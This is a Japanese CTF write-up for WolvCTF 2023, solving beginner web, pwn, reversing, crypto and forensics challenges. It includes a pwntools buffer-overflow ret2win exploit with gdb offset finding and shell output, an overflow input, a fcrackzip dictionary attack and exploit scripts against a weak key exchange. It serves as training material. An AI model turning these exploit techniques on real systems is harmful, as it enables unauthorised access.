WolvCTF 2023 Writeup

この大会は2023/3/18 5:00(JST)~2023/3/20 5:00(JST)に開催されました。
今回もチームで参戦。結果は1235点で599チーム中123位でした。
自分で解けた問題をWriteupとして書いておきます。

Charlotte's Web (Beginner)

HTMLソースを見ると、コメントにこう書いてある。

<!-- /src -->

https://charlotte-tlejfksioa-ul.a.run.app/srcにアクセスする。

import flask

app = flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
  return flask.send_file('index.html')

@app.route('/src', methods=['GET'])
def source():
  return flask.send_file('app.py')

@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
  return open('flag').read()

PUTメソッドでhttps://charlotte-tlejfksioa-ul.a.run.app/super-secret-route-nobody-will-guessにアクセスする。

$ curl -X PUT https://charlotte-tlejfksioa-ul.a.run.app/super-secret-route-nobody-will-guess
wctf{y0u_h4v3_b33n_my_fr13nd___th4t_1n_1t53lf_1s_4_tr3m3nd0u5_th1ng}
wctf{y0u_h4v3_b33n_my_fr13nd___th4t_1n_1t53lf_1s_4_tr3m3nd0u5_th1ng}

baby-pwn (Beginner)

バイナリとソースコードが添付されている。ソースコードは以下のようになっている。

#include <stdio.h>
#include <string.h>

void print_flag(void)
{
    printf("wctf{This_is_just_a_placeholder}\n");
}

void vuln(void)
{
    volatile int a = 0xdeadbeef;
    char buff[32] = { 0 };
    printf("Gimme some input: ");
    fgets(buff, 48, stdin);

    if (a != 0xdeadbeef) {
        print_flag();
    }
}


int main(void)
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    vuln();
    return 0;
}
$ checksec baby-pwn 
[*] '/mnt/hgfs/Shared/baby-pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

BOFでaの値を上書き、0xdeadbeefでない状態にすればよい。

$ nc baby-pwn.wolvctf.io 1337
== proof-of-work: disabled ==
Gimme some input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
wctf{W3lc0me_t0_C0stc0_I_L0v3_Y0u!}
wctf{W3lc0me_t0_C0stc0_I_L0v3_Y0u!}

baby-re (Beginner)

$ strings baby-re | grep wctf
wctf{Oh10_Stat3_1s_Smelly!}
wctf{Must_be_fr0m_OSU}
wctf{A_t0tally_fake_flag}
wctf{Oh10_Stat3_1s_Smelly!}

theyseemerolling (Beginner)

暗号化処理の概要は以下の通り。

・key: ランダム8バイト文字列
・flag: flagに b'\x00' * (4 - len(flag) % 4) をパディング
・encrypt(flag).hex()を出力
 ・ct = b''
 ・flagを4バイトのブロックごとに以下を実行
  ・index: ブロックのインデックスの文字列化
  ・index = b'\x00' * (4 - len(index)) + index
  ・ctにkeyと(index + flag[i:i+4])のXORを結合

フラグが"wctf"から始まることを前提とすると、先頭8バイトは以下のようになる。

\x00\x00\x00\x00wctf

このことからkeyを算出し、復号する。

#!/usr/bin/env python3
from Crypto.Util.strxor import strxor
from Crypto.Util.number import bytes_to_long

with open('output.txt', 'r') as f:
    enc = bytes.fromhex(f.read().rstrip())

pt0 = b'\x00\x00\x00\x00wctf'
key = strxor(pt0, enc[:8])

flag = b''
for i in range(0, len(enc), 8):
    pt = strxor(enc[i:i+8], key)
    assert bytes_to_long(pt[:4]) == i // 8
    flag += pt[4:]

flag = flag.rstrip(b'\x00').decode()
print(flag)
wctf{i_sw3ar_my_pr0f_s4id_r0ll_y0ur_0wn_crypt0}

cat (Beginner)

$ checksec challenge
[*] '/mnt/hgfs/Shared/challenge'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

BOFでwin関数をコールできればよい。

$ gdb -q ./challenge
Reading symbols from ./challenge...
gdb-peda$ pattc 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/challenge 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to the C Analysis Tool (cat). Enter your C code below, and it will print out which lines are dangerous!

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0xc00 
RDX: 0x1 
RSI: 0x1 
RDI: 0x7ffff7e1ba70 --> 0x0 
RBP: 0x6c41415041416b41 (b'AkAAPAAl')
RSP: 0x7fffffffdea8 ("AAQAAmAARAAnAAS"...)
RIP: 0x40125f (<main+134>:	ret)
R8 : 0x7ffff7e1ba70 --> 0x0 
R9 : 0x0 
R10: 0x7ffff7c09c78 --> 0xf0022000043b3 
R11: 0x246 
R12: 0x7fffffffdfb8 --> 0x7fffffffe2fd ("/mnt/hgfs/Share"...)
R13: 0x4011d9 (<main>:	endbr64)
R14: 0x0 
R15: 0x7ffff7ffd040 --> 0x7ffff7ffe2e0 --> 0x0
[------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x000000000040125f in main () at challenge.c:20
20	challenge.c: そのようなファイルやディレクトリはありません.
gdb-peda$ q
ctf@ctf-virtual-machine3:/mnt/hgfs/Shared$ gdb -q ./challenge
Reading symbols from ./challenge...
gdb-peda$ pattc 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/challenge 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to the C Analysis Tool (cat). Enter your C code below, and it will print out which lines are dangerous!

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0xc00 
RDX: 0x1 
RSI: 0x1 
RDI: 0x7ffff7e1ba70 --> 0x0 
RBP: 0x6c41415041416b41 (b'AkAAPAAl')
RSP: 0x7fffffffdea8 ("AAQAAmAARAAnAAS"...)
RIP: 0x40125f (<main+134>:	ret)
R8 : 0x7ffff7e1ba70 --> 0x0 
R9 : 0x0 
R10: 0x7ffff7c09c78 --> 0xf0022000043b3 
R11: 0x246 
R12: 0x7fffffffdfb8 --> 0x7fffffffe2fd ("/mnt/hgfs/Share"...)
R13: 0x4011d9 (<main>:	endbr64)
R14: 0x0 
R15: 0x7ffff7ffd040 --> 0x7ffff7ffe2e0 --> 0x0
[------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x000000000040125f in main () at challenge.c:20
warning: Source file is more recent than executable.
20	}
gdb-peda$ patto AAQAAmAARAAnAAS
AAQAAmAARAAnAAS found at offset: 136

$ ROPgadget --binary challenge | grep ": ret"
0x000000000040101a : ret
0x0000000000401198 : retf
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('cat.wolvctf.io', 1337)
else:
    p = process('./challenge')

elf = ELF('./challenge')

win_addr = elf.symbols['win']
ret_addr = 0x40101a

payload = b'A' * 136
payload += p64(ret_addr)
payload += p64(win_addr)

data = p.recvline().rstrip().decode()
print(data)
data = p.recvline().rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to cat.wolvctf.io on port 1337: Done
[*] '/mnt/hgfs/Shared/challenge'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
== proof-of-work: disabled ==
Welcome to the C Analysis Tool (cat). Enter your C code below, and it will print out which lines are dangerous!
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\xb6\x11@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode

$ ls
challenge
flag.txt
$ cat flag.txt
wctf{d0n+_r0ll_y0ur_0wn_c_:3}
wctf{d0n+_r0ll_y0ur_0wn_c_:3}

We Will Rock You (Beginner)

zipが添付されているが、パスワードがかかっている。クラックして、そのパスワードで解凍する。

$ fcrackzip -u -D -p dict/rockyou.txt we_will_rock_you.zip


PASSWORD FOUND!!!!: pw == michigan4ever
$ unzip we_will_rock_you.zip 
Archive:  we_will_rock_you.zip
   creating: we_will_rock_you/
[we_will_rock_you.zip] we_will_rock_you/flag.txt password: 
 extracting: we_will_rock_you/flag.txt  
$ cat we_will_rock_you/flag.txt 
wctf{m1cH1g4n_4_3v3R}
wctf{m1cH1g4n_4_3v3R}

yowhatsthepassword (Beginner)

Pythonのコードが添付されている。コードは以下の通り。

# I'm thinking of a number from 0 to 2^32 - 1
# Can you guess it?

import random

def generate(seed):
  random.seed(seed)
  c = 0
  while c != ord('}'):
    c = random.randint(97, 126)
    print(chr(c), end='')
  print()

secret = 'ly9ppw=='

import base64

s = int(input("password? >>> "))

if int(base64.b64decode(secret).hex(), 16) == s:
  generate(s)
else:
  print('nope')

sはsecretから算出した値。それを元にgenerate関数を実行すればフラグがわかる。

#!/usr/bin/env python3
import random
import base64

def generate(seed):
    random.seed(seed)
    c = 0
    while c != ord('}'):
        c = random.randint(97, 126)
        print(chr(c), end='')
    print()

secret = 'ly9ppw=='
s = int(base64.b64decode(secret).hex(), 16)
generate(s)
wctf{ywtp}

Sanity Check (Misc)

Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。

wctf{w3lc0m3_t0_w0lvctf_2023}

Switcharoo (Misc)

b01lers CTFの問題「switcheroo」に以下のように書かれている。

Btw, take this as a gift: d2N0ZntNNDF6M180bmRfQmx1M30K


base64文字列をデコードする。

$ echo d2N0ZntNNDF6M180bmRfQmx1M30K | base64 -d
wctf{M41z3_4nd_Blu3}
wctf{M41z3_4nd_Blu3}

child-re (Reverse)

$ ./child-re 
What do you get if you multiply six by nine? 54
I always thought something was fundamentally wrong with the universe.

Ghidraでデコンパイルする。

undefined8 FUN_0010122f(void)

{
  int iVar1;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined2 local_10;
  
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  local_10 = 0;
  printf("What do you get if you multiply six by nine? ");
  fgets((char *)&local_38,0x2a,stdin);
  iVar1 = strcmp("54\n",(char *)&local_38);
  if (iVar1 == 0) {
    puts("I always thought something was fundamentally wrong with the universe.");
  }
  else {
    iVar1 = strcmp("42\n",(char *)&local_38);
    if (iVar1 == 0) {
      puts("That\'s it. That\'s all there is. (Look Elsewhere)");
    }
    else {
      puts("That is not the answer to the Ultimate Question.");
    }
  }
  return 0;
}

通常の処理に関係する関数を見たが、特に何も見つからない。他の関数を見てみる。

void FUN_00101165(byte param_1)

{
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined2 local_40;
  undefined local_3e;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined2 local_10;
  undefined local_e;
  int local_c;
  
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  local_10 = 0;
  local_e = 0;
  local_68 = 0x5e1b62514c5e495d;
  local_60 = 0x1f5819411b424249;
  local_58 = 0x5e75194e1b5f6d75;
  local_50 = 0x1e6d7519425e751a;
  local_48 = 0x1e750b0b53521e46;
  local_40 = 0x5718;
  local_3e = 0;
  for (local_c = 0; local_c < 0x2a; local_c = local_c + 1) {
    *(byte *)((long)&local_38 + (long)local_c) =
         *(byte *)((long)&local_68 + (long)local_c) ^ param_1;
  }
  puts((char *)&local_38);
  return;
}

この関数があやしい。param1はわからないので、local_68以降の文字列をXOR鍵のブルートフォースでフラグを復号する。

wctf{H1tchh1k3r5_Gu1d3_t0_th3_G4l4xy!!_42}

Homework Help (Reverse)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  ask();
  return 0;
}

void ask(void)

{
  long in_FS_OFFSET;
  char acStack_18 [8];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Bro can you help me with my homework?");
  puts(
      "What is the largest number of circles with a diameter of 0.7 that will fit completely inside  a 2 x 1 rectangle without overlapping?"
      );
  __printf_chk(1,"Answer: ");
  gets(acStack_18);
  eval(acStack_18);
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

int eval(char *param_1)

{
  char *__nptr;
  size_t sVar1;
  size_t sVar2;
  long lVar3;
  int iVar4;
  long in_FS_OFFSET;
  undefined8 local_3d;
  undefined4 local_35;
  undefined local_31;
  long local_30;
  
  local_30 = *(long *)(in_FS_OFFSET + 0x28);
  local_35 = 0xa2b3938;
  local_31 = 0;
  local_3d = 0x3736353433323130;
  __nptr = strtok(param_1,"+");
  sVar1 = strspn(param_1,(char *)&local_3d);
  sVar2 = strlen(param_1);
  if (sVar1 == sVar2) {
    iVar4 = 0;
    if (__nptr != (char *)0x0) {
      do {
        lVar3 = strtol(__nptr,(char **)0x0,10);
        iVar4 = iVar4 + (int)lVar3;
        __nptr = strtok((char *)0x0,"+");
      } while (__nptr != (char *)0x0);
      if (iVar4 == 3) {
        puts("Thanks, I\'ll help you check the flag");
        __printf_chk(1,"Flag: ");
        fgets(FLAG,0x21,stdin);
        goto LAB_00101546;
      }
    }
    puts("That really dosn\'t look right, I\'ll keep trying");
  }
  else {
    iVar4 = 0;
    puts("Uh, the answer wouldn\'t look like that");
  }
LAB_00101546:
  if (local_30 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return iVar4;
}

void __stack_chk_fail(void)

{
  int iVar1;
  long lVar2;
  uint uVar3;
  long in_FS_OFFSET;
  uint local_15c;
  uint auStack_158 [2];
  undefined8 local_150;
  undefined8 local_148;
  undefined8 local_140;
  undefined8 local_138;
  undefined8 local_130;
  undefined8 local_128;
  undefined8 local_120;
  undefined8 local_118;
  undefined8 local_110;
  undefined8 local_108;
  undefined8 local_100;
  undefined8 local_f8;
  undefined8 local_f0;
  undefined8 local_e8;
  undefined8 local_e0;
  __jmp_buf_tag local_d8;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  auStack_158[1] = 0x14;
  local_150 = 0x1200000017;
  local_148 = 0x500000001d;
  local_140 = 0x5d00000046;
  local_138 = 0x4100000042;
  local_130 = 0x330000006c;
  local_128 = 0x5a0000005d;
  local_120 = 0x3a0000000e;
  local_118 = 0x410000006a;
  local_110 = 0x5700000040;
  local_108 = 0x3400000008;
  local_100 = 0xb0000003c;
  local_f8 = 0x3400000003;
  local_f0 = 0x4600000028;
  local_e8 = 0x530000005f;
  local_e0 = 0x5000000010;
  local_15c = 0x36;
  iVar1 = _setjmp(&local_d8);
  if (iVar1 == 0) {
    lVar2 = 0;
    uVar3 = 0x41;
    while( true ) {
      local_15c = local_15c ^ uVar3;
      if ((int)(char)FLAG[lVar2] != local_15c) {
                    /* WARNING: Subroutine does not return */
        __longjmp_chk(&local_d8,1);
      }
      lVar2 = lVar2 + 1;
      if (lVar2 == 0x20) break;
      uVar3 = auStack_158[lVar2];
    }
    puts("Well Done.");
  }
  else {
    puts("Nope.");
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

local_15cの初期値は0x36で、uVar3の初期値は0x41。local_15cは以下の計算で変わっていく。

local_15c = local_15c ^ uVar3

auStack_158[1]から順にuVar3の値も変わっていく。local_15cの値を並べるとフラグになる。

#!/usr/bin/env python3
auStack_158 = [0x14, 0x17, 0x12, 0x1d, 0x50, 0x46, 0x5d, 0x42, 0x41, 0x6c, 0x33,
    0x5d, 0x5a, 0x0e, 0x3a, 0x6a, 0x41, 0x40, 0x57, 0x08, 0x34, 0x3c, 0x0b,
    0x03, 0x34, 0x28, 0x46, 0x5f, 0x53, 0x10, 0x50, 0x36]

local_15c = 0x36
uVar3 = 0x41

flag = ''
for i in range(len(auStack_158)):
    local_15c = local_15c ^ uVar3
    flag += chr(local_15c)
    uVar3 = auStack_158[i]
print(flag)
wctf{+m0r3_l1ke_5t4ck_chk_w1n=-}

Dino Trading (Forensics)

FTPの通信がある。Wiresharkの[オブジェクトをエクスポート] > [FTP-DATA] でepicfight.jpgをエクスポートする。
画像には何も見当たらない。

$ steghide extract -sf epicfight.jpg
Enter passphrase: 
wrote extracted data to "hidden.txt".

パスワードなしでsteghideで秘密データを抽出できた。

$ cat hidden.txt 
d2N0Znthbl8xbWFnZV9pbl9hX3BlZWNhcF9iNjR9
$ cat hidden.txt | base64 -d
wctf{an_1mage_in_a_peecap_b64}
wctf{an_1mage_in_a_peecap_b64}

keyexchange (Crypto)

サーバの処理概要は以下の通り。

・n: 512ビット素数
・s: 256ビット素数
・a: 256ビット素数
・pow(s, a, n)を表示
・b: 数値入力
・secret_key = pow(pow(s, a, n), b, n)
・key: secret_key の文字列化
・enc: flag + b'\x00' * (len(key) - len(flag))とkeyのXOR
・encの16進数表記を表示

bに1を指定すれば、keyがわかるので、XORでフラグを復号できる。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('keyexchange.wolvctf.io', 1337))

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
m = int(data)
data = recvuntil(s, b'>>> ')
print(data + '1')
s.sendall(b'1\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
enc = bytes.fromhex(data)

secret_key = m
key = long_to_bytes(secret_key)
flag = strxor(enc, key).rstrip(b'\x00').decode()
print(flag)

実行結果は以下の通り。

== proof-of-work: disabled ==
1700424891109589915635700359912272114111409488394719859908804144411503681143018699640382797948202962935549162315069782890998580367094421673641212896655057
b? >>> 1
5714f492d3da9669645a6b698d168e6e37a9cee74420a2a28ee4446f46898cdce86bf677c98691d5a2434b149201c096906171207bd9dffb3b6dd73825f8b6d1
wctf{m4th_1s_h4rd_but_tru5t_th3_pr0c3ss}
wctf{m4th_1s_h4rd_but_tru5t_th3_pr0c3ss}